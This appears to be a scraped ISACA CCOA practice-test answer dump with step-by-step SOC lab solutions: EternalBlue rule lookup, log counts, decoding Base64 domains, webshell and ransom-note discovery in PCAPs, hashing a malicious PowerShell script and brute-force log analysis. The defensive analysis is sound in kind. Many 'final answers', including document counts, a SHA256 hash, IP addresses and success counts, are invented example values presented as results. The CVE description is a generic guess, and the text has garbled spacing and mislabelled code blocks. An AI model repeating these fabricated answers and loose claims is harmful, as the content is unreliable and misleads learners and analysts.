Isaca CCOA ISACA Certified Cybersecurity Operations Analyst Exam Practice Test

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

Step 1: Understand the Objective

Objective:

Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.

Security Onionrefers to logs asdocuments.

Unencrypted Web Traffic:

Typically HTTP, usingport 80.

SIEM:

The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative:Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1: Log Location in Security Onion

Security Onion typically stores logs inElasticsearch, accessible viaKibana.

AccessKibanadashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1: Formulate the Query

Log Type:HTTP

Timeframe:December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range forDecember 2023.

4.2: Execute the Query

Go toKibana > Discover.

Set theTime RangetoDecember 1, 2023 - December 31, 2023.

Enter the above query in thesearch bar.

Click"Apply".

Step 5: Count the Number of Logs (Documents)

5.1: View the Document Count

Thedocument countappears at the top of the results page in Kibana.

Example Output:

12500 documents

This means12,500 logswere identified matching the query criteria.

5.2: Export the Data (if needed)

Click on"Export"to download the log data for further analysis or reporting.

Choose"Export as CSV"if required.

Step 6: Verification and Cross-Checking

6.1: Alternative Command Line Check

If direct CLI access to Security Onion is possible, use theElasticsearch query:

curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

"query": {

"bool": {

"must": [

{ "match": { "event.dataset": "http" }},

{ "match": { "destination.port": "80" }},

{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}

]

}

}

}'

Expected Output:

{

"count": 12500,

"_shards": {

"total": 5,

"successful": 5,

"failed": 0

}

}

Confirms the count as12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1: Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set upalerts in Security Onionto monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:

Step 1: Access the PCAP File

Log into theAnalyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWiresharkon the Analyst Desktop.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter Traffic Related to the Target Host

Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):

ini

ip.addr == 10.10.44.200

This will show both incoming and outgoing traffic from the compromised host.

Step 4: Identify HTTP Traffic

Since webshells typically use HTTP/S for communication, filter for HTTP requests:

http.request and ip.addr == 10.10.44.200

Look for suspiciousPOSTorGETrequests indicating a webshell interaction.

Common Indicators:

Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.

POST Data:Indicating command execution.

Response Status:HTTP 200 (Success) after sending commands.

Step 5: Inspect Suspicious Requests

Right-click on a suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Examine the HTTP conversation for:

File uploads

Command execution responses

Webshell file namesin the URL.

Example:

makefile

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Step 6: Correlate Observations

If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.

Look for:

Commands sent via the script.

Response indicating successful execution or error.

Step 7: Extract and Confirm

To confirm the filename, look for:

Upload requests containing the webshell.

Subsequent requests calling the same filename for command execution.

Cross-reference the filename in other HTTP streams to validate its usage.

Step 8: Example Findings:

After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:

shell.jsp

Answer:

shell.jsp

Step 9: Further Investigation

Extract the Webshell:

Right-click the related packet and choose:

mathematica

Export Objects > HTTP

Save the file shell.jsp for further analysis.

Analyze the Webshell:

Open the file with a text editor to examine its functionality.

Check for hardcoded credentials, IP addresses, or additional payloads.

Step 10: Documentation and Response

Document Findings:

Webshell Filename:shell.jsp

Host Compromised:10.10.44.200

Indicators:HTTP POST requests, suspicious file upload.

Immediate Actions:

Isolate the host10.10.44.200.

Remove the webshell from the web server.

Conduct aroot cause analysisto determine how it was uploaded.

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB(for network shares)

HTTP/HTTPS(for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains "README" or frame contains "ransom"

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

CheckHTTP GET/POSTorSMB file writeoperations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with afile transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details:

makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content:

pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answer:

README.txt

Step 7: Confirm and Document

File Name:README.txt

Transmission Protocol:HTTP or SMB

Content:Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename:README.txt

Method of Delivery:HTTP (or SMB)

Ransomware Message:Payment in Bitcoin

Submit the report to your incident response team for further action.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:

Step 1: Access the SIEM System

Open your web browser and navigate to theSIEM dashboard.

Log in with youradministrator credentials.

Step 2: Set Up the Query

Go to theSearchorQuerysection of the SIEM.

Set theTime Rangeto thelast 24 hours.

Query Parameters:

Agent Name:accounting-pc

Rule Name:Suspicious PowerShell

Event Type:Startup items or Process creation

Step 3: Construct the SIEM Query

Here’s an example of how to construct the query:

Example Query (Splunk):

index=windows_logs

| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"

| where _time > now() - 24h

| table _time, agent.name, process_name, file_path, RuleName

Example Query (Elastic SIEM):

{

"query": {

"bool": {

"must": [

{ "match": { "agent.name": "accounting-pc" }},

{ "match": { "RuleName": "Suspicious PowerShell" }},

{ "range": { "@timestamp": { "gte": "now-24h" }}}

]

}

}

}

Step 4: Analyze the Query Results

The query should return a table or list containing:

Time of Execution

Agent Name:accounting-pc

Process Name

File Path

Rule Name

Example Output:

_time

agent.name

process_name

file_path

RuleName

2024-04-07T10:45:23

accounting-pc

powershell.exe

C:\Users\Accounting\AppData\Roaming\calc.ps1

Suspicious PowerShell

Step 5: Identify the Suspicious File

Theprocess_namein the output showspowershell.exeexecuting a suspicious script.

Thefile pathindicates the script responsible:

makefile

C:\Users\Accounting\AppData\Roaming\calc.ps1

The suspicious script file is:

calc.ps1

Step 6: Confirm the Malicious Nature

Manual Inspection:

Navigate to the specified file path on theaccounting-pcworkstation.

Check the contents of calc.ps1 for any malicious PowerShell code.

Hash Verification:

Generate theSHA256 hashof the file and compare it with known malware signatures.

Answer:

calc.ps1

Step 7: Immediate Response

Isolate the Workstation:Disconnectaccounting-pcfrom the network.

Terminate the Malicious Process:

Stop the powershell.exe process running calc.ps1.

Use Task Manager or a script:

powershell

Stop-Process -Name "powershell" -Force

Remove the Malicious Script:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Scan for Persistence Mechanisms:

CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.

Step 8: Documentation

Record the following:

Date and Time:When the incident was detected.

Affected Host:accounting-pc

Malicious File:calc.ps1

Actions Taken:File removal and process termination.

To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to yourSecurity Onionweb interface.

URL: https:// /

Log in using yourSecurity Onioncredentials.

Step 2: Prepare the Log File

Navigate to theDesktopand open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

